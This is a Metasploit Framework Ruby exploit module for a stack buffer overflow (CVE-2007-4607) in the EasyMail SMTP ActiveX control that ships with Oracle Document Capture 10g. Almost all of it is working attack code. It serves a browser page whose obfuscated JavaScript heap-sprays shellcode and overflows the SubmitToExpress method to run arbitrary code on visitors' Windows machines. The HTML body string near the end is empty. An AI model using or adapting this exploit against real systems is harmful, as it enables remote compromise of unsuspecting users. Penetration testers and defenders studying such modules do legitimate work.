## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle Document Capture 10g ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0). Oracle Document Capture 10g comes bundled with a third party ActiveX control emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress" an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-4607' ], [ 'OSVDB', '38335' ], [ 'BID', '25467' ], [ 'US-CERT-VU', '281977' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], 'DisclosureDate' => 'Aug 28 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # fluff.. fluff = rand_text_english(rand(20) + 1) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) js = %Q| try { var evil_string = ""; var index; # CLSID:68AC0D5F-0424-11D5-822F-00C04F6BA8D9 var vulnerable = new ActiveXObject('EasyMail.SMTP.6'); var my_unescape = unescape; var shellcode = '#{shellcode}'; #{js_heap_spray} sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000); for (index = 0; index < 12500; index++) { evil_string = evil_string + my_unescape('%0a%0a%0a%0a'); } vulnerable.SubmitToExpress(evil_string); } catch( e ) { window.location = 'about:blank' ; } | opts = { 'Strings' => true, 'Symbols' => { 'Variables' => [ 'vulnerable', 'shellcode', 'my_unescape', 'index', 'evil_string', ] } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.update_opts(js_heap_spray.opts) js.obfuscate() content = %Q| | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end